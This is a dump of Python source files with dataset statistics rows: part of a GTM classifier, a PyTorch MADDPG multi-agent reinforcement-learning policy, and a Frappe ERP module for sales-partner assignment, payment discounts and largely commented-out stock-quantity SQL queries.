X : array of shape (n_instances, n_dimensions)
Data matrix.
y : array of shape (n_instances,)
Data labels.
"""
X, y = check_X_y(X, y)
self.initialModel = ugtm_gtm.initialize(X, self.k,
self.m, self.s,
self.random_state)
self.optimizedModel = ugtm_gtm.optimize(X, self.initialModel,
self.regul,
self.niter,
verbose=self.verbose)
# Compute activity model, posterior probabilities of class membership
classmap = ugtm_landscape.classMap(
self.optimizedModel, y, self.prior)
self.node_probabilities = classmap.nodeClassP
self.node_label = classmap.activityModel
self.classes_ = unique_labels(y)
# Return the classifier
return self
def predict(self, X):
"""Predicts new labels for X using :func:`~ugtm.ugtm_gtm.projection`.
Parameters
==========
X : array of shape (n_instances, n_dimensions)
Data matrix.
"""
# Check fit
check_is_fitted(self, ['optimizedModel', 'node_label'])
# Input validation
X = check_array(X)
# Project new data onto fitted GTM
projected = ugtm_gtm.projection(self.optimizedModel, X)
# Initialize knn model
neighborModel = NearestNeighbors(
n_neighbors=self.n_neighbors, metric='euclidean')
# Choose 2D GTM representation
if self.representation == 'means':
rep = projected.matMeans
elif self.representation == 'modes':
rep = projected.matModes
# Initialize kNN model using nodes coordinates
fitted = neighborModel.fit(self.optimizedModel.matX)
# Compute distances between test set projections and nodes on the map
nnID = fitted.kneighbors(rep, return_distance=False)
# The predicted value is the label of the nearest node
self.predicted = np.squeeze(self.node_label[nnID])
# Return predictions
return self.predicted.astype(int)
| 38.218321 | 90 | 0.571486 | 2,999 | 25,033 | 4.716572 | 0.078026 | 0.053022 | 0.020361 | 0.027147 | 0.900177 | 0.88632 | 0.879109 | 0.879109 | 0.876988 | 0.876988 | 0 | 0.018087 | 0.341829 | 25,033 | 654 | 91 | 38.276758 | 0.840435 | 0.570207 | 0 | 0.794444 | 0 | 0 | 0.029463 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.072222 | false | 0 | 0.044444 | 0 | 0.188889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7cfc62121d396bbbd60027422a0200c3479f669 | 13,723 | py | Python | reinforcement_learning/maddpg_policy_ps_gc.py | SigmaBM/neurips2020-flatland-starter-kit | 5237b74f0e646ddb505a9b44afe4d73d0a33c1f5 | [
"MIT"
] | 2 | 2021-03-03T13:26:23.000Z | 2021-11-02T01:19:16.000Z | reinforcement_learning/maddpg_policy_ps_gc.py | SigmaBM/neurips2020-flatland-starter-kit | 5237b74f0e646ddb505a9b44afe4d73d0a33c1f5 | [
"MIT"
] | null | null | null | reinforcement_learning/maddpg_policy_ps_gc.py | SigmaBM/neurips2020-flatland-starter-kit | 5237b74f0e646ddb505a9b44afe4d73d0a33c1f5 | [
"MIT"
] | null | null | null | import os
import copy
import torch
import random
import pickle
import torch.nn as nn
import numpy as np
from torch.optim import Adam
from model import Actor, Critic
from replay_buffer_maddpg_ps import ReplayBuffer
from reinforcement_learning.utils.misc import gumbel_softmax, onehot_from_logits
class MADDPGPolicy_GlobalCritic(object):
def __init__(self, ob_size, ac_size, n_agent, parameters, evaluation_mode=False):
self.evaluation_mode = evaluation_mode
self.ob_size = ob_size
self.ac_size = ac_size
self.n_agent = n_agent
self.hid_size = 1
if not evaluation_mode:
self.p_hid_size = parameters.p_hidden_size
self.q_hid_size = parameters.q_hidden_size
self.buffer_size = parameters.buffer_size
self.batch_size = parameters.batch_size
self.update_every = parameters.update_every
self.learning_rate = parameters.learning_rate
self.tau = parameters.tau
self.gamma = parameters.gamma
self.buffer_min_size = parameters.buffer_min_size
# Device
if parameters.use_gpu and torch.cuda.is_available():
self.device = torch.device("cuda:0")
# print("🐇 Using GPU")
else:
self.device = torch.device("cpu")
# print("🐢 Using CPU")
self.p = Actor(ob_size, ac_size, self.p_hid_size).to(self.device)
self.q = Critic(ob_size * n_agent, ac_size * n_agent, self.q_hid_size).to(self.device)
if not evaluation_mode:
if parameters.load_path is not None:
self.p = torch.load(parameters.load_path + '-p.pth').to(self.device)
self.q = torch.load(parameters.load_path + '-q.pth').to(self.device)
self.target_p = copy.deepcopy(self.p)
self.target_q = copy.deepcopy(self.q)
self.p_optimizer = Adam(self.p.parameters(), lr=self.learning_rate)
self.q_optimizer = Adam(self.q.parameters(), lr=self.learning_rate)
self.memory = ReplayBuffer(ac_size, self.buffer_size, self.batch_size, self.device)
self.t_step = 0
self.pi_loss = 0.0
self.vf_loss = 0.0
def act(self, obs, explore=False):
"""
Inputs:
obs: (batch_size, ob_size)
Outputs:
actions: (batch_size, ac_size) - one hot vector
"""
obs = torch.from_numpy(obs).float().to(self.device)
pi = self.p(obs)
if explore:
action = gumbel_softmax(pi, hard=True)
else:
action = onehot_from_logits(pi)
return action
def update_memory(self, obs, action, reward, next_obs, done_n, act_mask, agent_id):
assert not self.evaluation_mode, "Policy has been initialized for evaluation only."
# Save experience in replay memory
self.memory.add(obs, action, reward, next_obs, done_n, act_mask, agent_id)
def learn(self):
self.t_step = (self.t_step + 1) % self.update_every
if self.t_step == 0 and len(self.memory) > self.buffer_min_size and len(self.memory) > self.batch_size:
# Time to learn!
idxes = self.memory.sample_idxes()
obs_n, act_n, rewards, next_obs_n, dones, act_mask_n, agent_ids = self.memory.get(idxes)
# 1. Update critic
next_act_n = []
for i in range(self.n_agent):
next_act_n.append(onehot_from_logits(self.target_p(next_obs_n[:, i, :])))
# next_act_n[-1][act_mask_n[:, i]] = torch.from_numpy(np.eye(self.ac_size)[0]).float().to(self.device) # Set invalid action to 0
next_act_n[-1][act_mask_n[:, i], :] = 0
next_act_n[-1][act_mask_n[:, i], 0] = 1
next_act_cat = torch.cat(tuple(next_act_n), dim=1)
obs_q_in = torch.reshape(obs_n, [self.batch_size, -1])
next_obs_q_in = torch.reshape(next_obs_n, [self.batch_size, -1])
obs_p_in = []
for i in range(self.batch_size):
obs_p_in.append(obs_n[i, agent_ids[i], :])
obs_p_in = torch.stack(obs_p_in, dim=0)
# y_i = r_i + gamma * Q_target(o_i, a_1, a_2, ..., a_n) * (1 - treminal_i)
target_q = rewards.view(-1, 1) + self.gamma * self.target_q(next_obs_q_in, next_act_cat) * (1 - dones.view(-1, 1))
act_cat = torch.reshape(act_n, [self.batch_size, -1])
q = self.q(obs_q_in, act_cat)
self.vf_loss = torch.nn.MSELoss()(q, target_q)
self.q_optimizer.zero_grad()
self.vf_loss.backward()
torch.nn.utils.clip_grad_norm_(self.q.parameters(), 0.5)
self.q_optimizer.step()
# 2. Update actor
pi = self.p(obs_p_in)
act = gumbel_softmax(pi, hard=True)
for i in range(self.batch_size):
act_n[i, agent_ids[i], :] = act[i, :]
act_cat = torch.reshape(act_n, [self.batch_size, -1])
pg_loss = -self.q(obs_q_in, act_cat).mean()
p_reg = (pi**2).mean()
self.pi_loss = pg_loss + p_reg * 1e-3
self.p_optimizer.zero_grad()
self.pi_loss.backward()
torch.nn.utils.clip_grad_norm_(self.p.parameters(), 0.5)
self.p_optimizer.step()
self.soft_update()
def soft_update(self):
for target_param, real_param in zip(self.target_q.parameters(), self.q.parameters()):
target_param.data.copy_(self.tau * real_param.data + (1.0 - self.tau) * target_param.data)
for target_param, real_param in zip(self.target_p.parameters(), self.p.parameters()):
target_param.data.copy_(self.tau * real_param.data + (1.0 - self.tau) * target_param.data)
def save(self, filename):
torch.save(self.q.state_dict(), filename + ".q")
torch.save(self.p.state_dict(), filename + '.p')
torch.save(self.target_q.state_dict(), filename + ".target_q")
torch.save(self.target_p.state_dict(), filename + ".target_p")
def load(self, filename):
if os.path.exists(filename + ".q"):
self.q.load_state_dict(torch.load(filename + ".q"))
if os.path.exists(filename + ".p"):
self.p.load_state_dict(torch.load(filename + ".p"))
if os.path.exists(filename + ".target_q"):
self.target_q.load_state_dict(torch.load(filename + ".target_q"))
if os.path.exists(filename + ".target_p"):
self.target_p.load_state_dict(torch.load(filename + ".target_p"))
def save_replay_buffer(self, filename):
memory = self.memory.memory
with open(filename, 'wb') as f:
pickle.dump(list(memory)[-500000:], f)
def load_replay_buffer(self, filename):
with open(filename, 'rb') as f:
self.memory.memory = pickle.load(f)
def test(self):
self.act(np.array([[0] * self.ob_size]))
self.learn()
class MADDPGPolicy(object):
def __init__(self, ob_size, ac_size, n_agent, parameters, evaluation_mode=False):
self.evaluation_mode = evaluation_mode
self.ob_size = ob_size
self.ac_size = ac_size
self.n_agent = n_agent
self.hid_size = 1
if not evaluation_mode:
self.p_hid_size = parameters.p_hidden_size
self.q_hid_size = parameters.q_hidden_size
self.buffer_size = parameters.buffer_size
self.batch_size = parameters.batch_size
self.update_every = parameters.update_every
self.learning_rate = parameters.learning_rate
self.tau = parameters.tau
self.gamma = parameters.gamma
self.buffer_min_size = parameters.buffer_min_size
# Device
if parameters.use_gpu and torch.cuda.is_available():
self.device = torch.device("cuda:0")
# print("🐇 Using GPU")
else:
self.device = torch.device("cpu")
# print("🐢 Using CPU")
self.p = Actor(ob_size, ac_size, self.p_hid_size).to(self.device)
self.q = Critic(ob_size, ac_size * n_agent, self.q_hid_size).to(self.device)
if not evaluation_mode:
if parameters.load_path is not None:
self.p = torch.load(parameters.load_path + '-p.pth')
self.q = torch.load(parameters.load_path + '-q.pth')
self.target_p = copy.deepcopy(self.p)
self.target_q = copy.deepcopy(self.q)
self.p_optimizer = Adam(self.p.parameters(), lr=self.learning_rate)
self.q_optimizer = Adam(self.q.parameters(), lr=self.learning_rate)
self.memory = ReplayBuffer(ac_size, self.buffer_size, self.batch_size, self.device)
self.t_step = 0
self.pi_loss = 0.0
self.vf_loss = 0.0
def act(self, obs, explore=False):
"""
Inputs:
obs: (batch_size, ob_size)
Outputs:
actions: (batch_size, ac_size) - one hot vector
"""
obs = torch.from_numpy(obs).float().to(self.device)
pi = self.p(obs)
if explore:
action = gumbel_softmax(pi, hard=True)
else:
action = onehot_from_logits(pi)
return action
def update_memory(self, obs, action, reward, next_obs, done_n, act_mask, agent_id):
assert not self.evaluation_mode, "Policy has been initialized for evaluation only."
# Save experience in replay memory
self.memory.add(obs, action, reward, next_obs, done_n, act_mask, agent_id)
def learn(self):
self.t_step = (self.t_step + 1) % self.update_every
if self.t_step == 0 and len(self.memory) > self.buffer_min_size and len(self.memory) > self.batch_size:
# Time to learn!
idxes = self.memory.sample_idxes()
obs_n, act_n, rewards, next_obs_n, dones, act_mask_n, agent_ids = self.memory.get(idxes)
# 1. Update critic
next_act_n = []
for i in range(self.n_agent):
next_act_n.append(onehot_from_logits(self.target_p(next_obs_n[:, i, :])))
# next_act_n[-1][act_mask_n[:, i]] = torch.from_numpy(np.eye(self.ac_size)[0]).float().to(self.device) # Set invalid action to 0
next_act_n[-1][act_mask_n[:, i], :] = 0
next_act_n[-1][act_mask_n[:, i], 0] = 1
next_act_cat = torch.cat(tuple(next_act_n), dim=1)
obs_in, next_obs_in = [], []
for i in range(self.batch_size):
obs_in.append(obs_n[i, agent_ids[i], :])
next_obs_in.append(next_obs_n[i, agent_ids[i], :])
obs_in = torch.stack(obs_in, dim=0)
next_obs_in = torch.stack(next_obs_in, dim=0)
# y_i = r_i + gamma * Q_target(o_i, a_1, a_2, ..., a_n) * (1 - treminal_i)
target_q = rewards.view(-1, 1) + self.gamma * self.target_q(next_obs_in, next_act_cat) * (1 - dones.view(-1, 1))
act_cat = torch.reshape(act_n, [self.batch_size, -1])
q = self.q(obs_in, act_cat)
self.vf_loss = torch.nn.MSELoss()(q, target_q)
self.q_optimizer.zero_grad()
self.vf_loss.backward()
torch.nn.utils.clip_grad_norm_(self.q.parameters(), 0.5)
self.q_optimizer.step()
# 2. Update actor
pi = self.p(obs_in)
act = gumbel_softmax(pi, hard=True)
for i in range(self.batch_size):
act_n[i, agent_ids[i], :] = act[i, :]
act_cat = torch.reshape(act_n, [self.batch_size, -1])
pg_loss = -self.q(obs_in, act_cat).mean()
p_reg = (pi**2).mean()
self.pi_loss = pg_loss + p_reg * 1e-3
self.p_optimizer.zero_grad()
self.pi_loss.backward()
torch.nn.utils.clip_grad_norm_(self.p.parameters(), 0.5)
self.p_optimizer.step()
self.soft_update()
def soft_update(self):
for target_param, real_param in zip(self.target_q.parameters(), self.q.parameters()):
target_param.data.copy_(self.tau * real_param.data + (1.0 - self.tau) * target_param.data)
for target_param, real_param in zip(self.target_p.parameters(), self.p.parameters()):
target_param.data.copy_(self.tau * real_param.data + (1.0 - self.tau) * target_param.data)
def save(self, filename):
torch.save(self.q.state_dict(), filename + ".q")
torch.save(self.p.state_dict(), filename + '.p')
torch.save(self.target_q.state_dict(), filename + ".target_q")
torch.save(self.target_p.state_dict(), filename + ".target_p")
def load(self, filename):
if os.path.exists(filename + ".q"):
self.q.load_state_dict(torch.load(filename + ".q"))
if os.path.exists(filename + ".p"):
self.p.load_state_dict(torch.load(filename + ".p"))
if os.path.exists(filename + ".target_q"):
self.target_q.load_state_dict(torch.load(filename + ".target_q"))
if os.path.exists(filename + ".target_p"):
self.target_p.load_state_dict(torch.load(filename + ".target_p"))
def save_replay_buffer(self, filename):
memory = self.memory.memory
with open(filename, 'wb') as f:
pickle.dump(list(memory)[-500000:], f)
def load_replay_buffer(self, filename):
with open(filename, 'rb') as f:
self.memory.memory = pickle.load(f)
def test(self):
self.act(np.array([[0] * self.ob_size]))
self.learn() | 41.459215 | 145 | 0.593893 | 1,956 | 13,723 | 3.9182 | 0.08998 | 0.019572 | 0.02714 | 0.014614 | 0.947156 | 0.939718 | 0.935021 | 0.93215 | 0.926409 | 0.909447 | 0 | 0.010238 | 0.281134 | 13,723 | 331 | 146 | 41.459215 | 0.766244 | 0.062669 | 0 | 0.843882 | 0 | 0 | 0.021804 | 0 | 0 | 0 | 0 | 0 | 0.008439 | 1 | 0.084388 | false | 0 | 0.046414 | 0 | 0.147679 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7d8285697453f4763de31bc49168feec14fdff7 | 39,538 | py | Python | rsi/rsi/doctype/custom_method.py | bobzz-zone/rsi | 134b6294186a12d639f05d08ecd63610bd38c07c | [
"MIT"
] | null | null | null | rsi/rsi/doctype/custom_method.py | bobzz-zone/rsi | 134b6294186a12d639f05d08ecd63610bd38c07c | [
"MIT"
] | null | null | null | rsi/rsi/doctype/custom_method.py | bobzz-zone/rsi | 134b6294186a12d639f05d08ecd63610bd38c07c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2015, Myme and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe import msgprint
from frappe.utils import date_diff,flt
class custom_method(Document):
pass
@frappe.whitelist()
def auto_sales_assign(doc,method):
#frappe.session.user
sales_partner = frappe.db.sql("""select name from `tabSales Partner` where user = "{}" """.format(frappe.session.user),as_list=1)
if sales_partner :
for data in sales_partner:
if not doc.sales_partner:
doc.sales_partner=data[0]
elif doc.sales_partner=="":
doc.sales_partner=data[0]
@frappe.whitelist()
def payment_entry_discount(doc,method):
total=0
d1 = flt(frappe.db.get_single_value('Accounts Settings','d1'))
d2 = flt(frappe.db.get_single_value('Accounts Settings','d2'))
disc1 = flt(frappe.db.get_single_value('Accounts Settings','disc1'))
disc2 = flt(frappe.db.get_single_value('Accounts Settings','disc2'))
update=0
for ref in doc.references:
if ref.reference_doctype=="Sales Invoice":
date = frappe.get_value("Sales Invoice",ref.reference_name,"posting_date")
diff = date_diff(doc.posting_date,date)
ref.sales = doc.sales
allocated = ref.allocated_amount
if ref.discount_accumulated:
allocated -= ref.discount_accumulated
gg=0
if diff<=d1:
gg=(allocated*disc1)/(100-disc1)
elif diff <= d2:
gg=(allocated*disc2)/(100-disc2)
total+=gg
if gg>0 and gg!=ref.discount_accumulated:
update=1
ref.discount_accumulated = gg
ref.allocated_amount =allocated+gg
if total >0:
found=0
for d in doc.deductions:
if d.account=="2500.001-CADANGAN DISCOUNT PENJUALAN - RSI":
found = 1;
d.amount=total;
if found==0:
new_deduction = doc.append("deductions",{})
new_deduction.account = "2500.001-CADANGAN DISCOUNT PENJUALAN - RSI"
new_deduction.amount = total
new_deduction.cost_center = "Main - RSI"
msgprint("Discount accumulated")
doc.set_amounts()
#@frappe.whitelist()
#def update_qty_ste_di_sales_order_on_submit(doc, method):
# if doc.order_type == "Titipan" :
# # tabel di STE
# if doc.items :
# sales_order = doc.sales_order
# prev_docname = ""
# prev_childname = ""
# qty_ste = 0
# for i in doc.items :
# prev_docname = i.prev_docname
# prev_childname = i.prev_childname
# qty_ste = i.qty
# so_qty_ste = frappe.db.sql("""
# SELECT
# soi.`ste_qty`
# FROM `tabSales Order Item` soi
# WHERE soi.`parent` = "{}"
# AND soi.`name` = "{}"
# """.format(prev_docname, prev_childname))
# if so_qty_ste :
# qty_ste = qty_ste + so_qty_ste[0][0]
# frappe.db.sql("""
# UPDATE `tabSales Order Item` soi SET soi.`ste_qty` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,prev_docname, prev_childname))
# frappe.db.commit()
# else :
# frappe.db.sql("""
# UPDATE `tabSales Order Item` soi SET soi.`ste_qty` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,prev_docname, prev_childname))
# frappe.db.commit()
# @frappe.whitelist()
# def update_qty_ste_di_sales_order_on_cancel(doc, method):
# if doc.order_type == "Titipan" :
# # tabel di STE
# if doc.items :
# sales_order = doc.sales_order
# prev_docname = ""
# prev_childname = ""
# qty_ste = 0
# for i in doc.items :
# prev_docname = i.prev_docname
# prev_childname = i.prev_childname
# qty_ste = i.qty
# so_qty_ste = frappe.db.sql("""
# SELECT
# soi.`ste_qty`
# FROM `tabSales Order Item` soi
# WHERE soi.`parent` = "{}"
# AND soi.`name` = "{}"
# """.format(prev_docname, prev_childname))
# if so_qty_ste :
# qty_ste = so_qty_ste[0][0] - qty_ste
# frappe.db.sql("""
# UPDATE `tabSales Order Item` soi SET soi.`ste_qty` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,prev_docname, prev_childname))
# frappe.db.commit()
# else :
# frappe.db.sql("""
# UPDATE `tabSales Order Item` soi SET soi.`ste_qty` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,prev_docname, prev_childname))
# frappe.db.commit()
# @frappe.whitelist()
# def update_qty_fom_di_ste_on_submit(doc, method):
# if doc.order_type == "Titipan" :
# # tabel di STE
# if doc.items :
# stock_entry = doc.stock_entry
# ste_docname = ""
# ste_childname = ""
# qty_ste = 0
# for i in doc.items :
# ste_docname = i.ste_docname
# ste_childname = i.ste_childname
# qty_ste = i.qty
# so_qty_ste = frappe.db.sql("""
# SELECT
# soi.`qty_form`
# FROM `tabStock Entry Detail` soi
# WHERE soi.`parent` = "{}"
# AND soi.`name` = "{}"
# """.format(ste_docname, ste_childname))
# if so_qty_ste :
# qty_ste = qty_ste + so_qty_ste[0][0]
# frappe.db.sql("""
# UPDATE `tabStock Entry Detail` soi SET soi.`qty_form` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,ste_docname, ste_childname))
# frappe.db.commit()
# else :
# frappe.db.sql("""
# UPDATE `tabStock Entry Detail` soi SET soi.`qty_form` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,ste_docname, ste_childname))
# frappe.db.commit()
# @frappe.whitelist()
# def update_qty_form_di_ste_on_cancel(doc, method):
# if doc.order_type == "Titipan" :
# # tabel di STE
# if doc.items :
# stock_entry = doc.stock_entry
# ste_docname = ""
# ste_childname = ""
# qty_ste = 0
# for i in doc.items :
# ste_docname = i.ste_docname
# ste_childname = i.ste_childname
# qty_ste = i.qty
# so_qty_ste = frappe.db.sql("""
# SELECT
# soi.`qty_form`
# FROM `tabStock Entry Detail` soi
# WHERE soi.`parent` = "{}"
# AND soi.`name` = "{}"
# """.format(ste_docname, ste_childname))
# if so_qty_ste :
# qty_ste = so_qty_ste[0][0] - qty_ste
# frappe.db.sql("""
# UPDATE `tabStock Entry Detail` soi SET soi.`qty_form` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,ste_docname, ste_childname))
# frappe.db.commit()
# else :
# frappe.db.sql("""
# UPDATE `tabStock Entry Detail` soi SET soi.`qty_form` = {0}
# WHERE soi.`parent` = "{1}"
# AND soi.`name` = "{2}"
# """.format(qty_ste,ste_docname, ste_childname))
# frappe.db.commit()
# @frappe.whitelist()
# def check_workflow(table_name, name):
# result = ""
# frappe.db.sql("""
# UPDATE `tab{0}` SET workflow_state = "Pending" WHERE name = "{1}" """.format(table_name, name))
# frappe.db.commit()
# @frappe.whitelist()
# def insert_invoice_summary(doc, method):
# if doc.is_return == 1 :
# sales_invoice_return = doc.name
# return_against = doc.return_against
# mi = frappe.get_doc("Sales Invoice", doc.return_against)
# mi.append("invoice_summary", {
# "doctype": "Invoice Summary",
# "type" : "Sales Invoice",
# "type_code" : doc.name,
# "date" : doc.posting_date
# })
# mi.flags.ignore_permissions = 1
# mi.save()
# @frappe.whitelist()
# def validate_item_colour(doc, method):
# if doc.colour :
# count = 0
# split_colour = doc.colour.split("\n")
# # new_colour = []
# # garis_lurus = "|"
# # for i in split_colour :
# # if garis_lurus in i :
# # if i.split("|")[0] < 0 :
# # frappe.throw("Nomor Warna tidak boleh -")
# # elif i.split("|")[0] < 10 :
# # new_colour.append("0"+str(i.split("|")[0])+"|"+i.split("|")[1])
# # else :
# # new_colour.append(str(i))
# # elif garis_lurus not in i :
# # if i < 0 :
# # frappe.throw("Nomor Warna tidak boleh -")
# # elif i < 10 and i >= 0 :
# # new_colour.append("0"+str(i))
# # else :
# # new_colour.append(str(i))
# # else :
# # frappe.throw("Format tidak sesuai dengan Colour")
# # new_colour_final = ""
# # count = 0
# # for n in new_colour :
# # if count == 0 :
# # new_colour_final = str(n) + "\n"
# # count = count + 1
# # else :
# # new_colour_final + new_colour_final + str(n) + "\n"
# # doc.colour = new_colour_final
# for c in split_colour :
# check_colour = frappe.db.sql("""
# SELECT c.`name`
# FROM `tabColour` c
# WHERE c.`name` = "{}"
# """.format(c))
# if check_colour :
# count = 1
# else :
# pr_doc = frappe.new_doc("Colour")
# pr_doc.update({
# "colour": c
# })
# pr_doc.flags.ignore_permissions = 1
# pr_doc.save()
# @frappe.whitelist()
# def divide_group(item_code_variant):
# group = item_code_variant.split(" ")[0]
# return group
# # @frappe.whitelist()
# # def projected_stock_by_item_pcs(item_code):
# # qty_pending_order = 0
# # qty_terkirim = 0
# # qty_dialokasi = 0
# # qty_inventory = 0
# # uom = frappe.get_doc("Item",item_code).stock_uom
# # get_qty_pending_order = frappe.db.sql("""
# # SELECT
# # SUM(por.`pcs_qty`)
# # FROM `tabPending Order` po
# # JOIN `tabPending Order Pcs` por
# # ON po.`name` = por.`parent`
# # WHERE po.`docstatus` < 2
# # AND por.`docstatus` < 2
# # AND por.`item_code_pcs` = "{}"
# # GROUP BY por.`item_code_pcs`
# # """.format(item_code))
# # get_qty_terkirim = frappe.db.sql("""
# # SELECT
# # SUM(por.`qty_terkirim`)
# # FROM `tabPending Order` po
# # JOIN `tabPending Order Pcs` por
# # ON po.`name` = por.`parent`
# # WHERE po.`docstatus` < 2
# # AND por.`docstatus` < 2
# # AND por.`item_code_pcs` = "{}"
# # GROUP BY por.`item_code_pcs`
# # """.format(item_code))
# # get_qty_dialokasi = frappe.db.sql("""
# # SELECT
# # SUM(por.`qty_dialokasi`)
# # FROM `tabPending Order` po
# # JOIN `tabPending Order Pcs` por
# # ON po.`name` = por.`parent`
# # WHERE po.`docstatus` < 2
# # AND por.`docstatus` < 2
# # AND por.`item_code_pcs` = "{}"
# # GROUP BY por.`item_code_pcs`
# # """.format(item_code))
# # # bukan dari inventory karena pcs tetapi ambil dari tab Bin
# # get_qty_inventory = frappe.db.sql("""
# # SELECT
# # SUM(b.`actual_qty`)
# # FROM `tabBin` b
# # WHERE b.`item_code` = "{}"
# # GROUP BY b.`item_code`
# # """.format(item_code))
# # if get_qty_pending_order :
# # qty_pending_order = float(get_qty_pending_order[0][0])
# # else :
# # qty_pending_order = 0
# # if get_qty_terkirim :
# # qty_terkirim = float(get_qty_terkirim[0][0])
# # else :
# # qty_terkirim = 0
# # if get_qty_dialokasi :
# # qty_dialokasi = float(get_qty_dialokasi[0][0])
# # else :
# # qty_dialokasi = 0
# # if get_qty_inventory :
# # qty_inventory = float(get_qty_inventory[0][0])
# # else :
# # qty_inventory = 0
# # send_data = []
# # temp_qty_pending_order = qty_pending_order - qty_dialokasi - qty_terkirim
# # temp_qty_dialokasi = qty_dialokasi
# # temp_qty_terkirim = qty_terkirim
# # temp_qty_inventory = qty_inventory - qty_dialokasi - (qty_pending_order - qty_dialokasi - qty_terkirim)
# # send_data.append(str(temp_qty_pending_order))
# # send_data.append(str(temp_qty_dialokasi))
# # send_data.append(str(temp_qty_terkirim))
# # send_data.append(str(temp_qty_inventory))
# # return send_data
# @frappe.whitelist()
# def projected_stock_by_item(item_code, colour):
# uom = frappe.get_doc("Item",item_code).stock_uom
# if uom == "Pcs" :
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Pcs` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_pcs` = "{}"
# GROUP BY por.`item_code_pcs`
# """.format(item_code))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`pcs_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Pcs` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_pcs` = "{}"
# GROUP BY por.`item_code_pcs`
# """.format(item_code))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Pcs` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_pcs` = "{}"
# GROUP BY por.`item_code_pcs`
# """.format(item_code))
# # bukan dari inventory karena pcs tetapi ambil dari tab Bin
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(b.`actual_qty`)
# FROM `tabBin` b
# WHERE b.`item_code` = "{}"
# GROUP BY b.`item_code`
# """.format(item_code))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# else :
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
